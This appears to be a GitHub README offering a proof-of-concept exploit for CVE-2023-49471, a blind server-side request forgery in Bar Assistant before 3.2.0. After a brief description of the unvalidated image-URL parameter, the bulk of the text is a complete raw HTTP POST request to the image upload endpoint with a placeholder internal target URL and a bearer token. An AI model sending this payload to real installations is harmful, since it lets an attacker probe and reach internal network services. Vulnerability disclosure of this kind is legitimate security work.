zunak/cve-2023-49471Proof-of-concept exploit for a Blind Server-Side Request Forgery (SSRF) vulnerability in Bar Assistant < 3.2.0, enabling authenticated attackers to probe internal networks via unvalidated image URL uploads.
Blind SSRF
Bar assistant < 3.2.0
Authenticated users upload an image by URL to the application.
The application does not validate a parameter before making a request through Image::make(), which could allow perpetrator to perform Server-side Request Forgery attack.
POST /bar/api/images HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------8290129562507108753887567115
Content-Length: 459
Referer: http://localhost:3000/cocktails/form
Origin: http://localhost:3000
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
authorization: Bearer 1|A3dV5SfOEqxNOY8UQmz2wDqA6ssdtBGHoVyjCFTR186abc29
Connection: close
-----------------------------8290129562507108753887567115
Content-Disposition: form-data; name="images[0][image_url]"
http://<target>/<path>
-----------------------------8290129562507108753887567115
Content-Disposition: form-data; name="images[0][copyright]"
-----------------------------8290129562507108753887567115
Content-Disposition: form-data; name="images[0][sort]"
1
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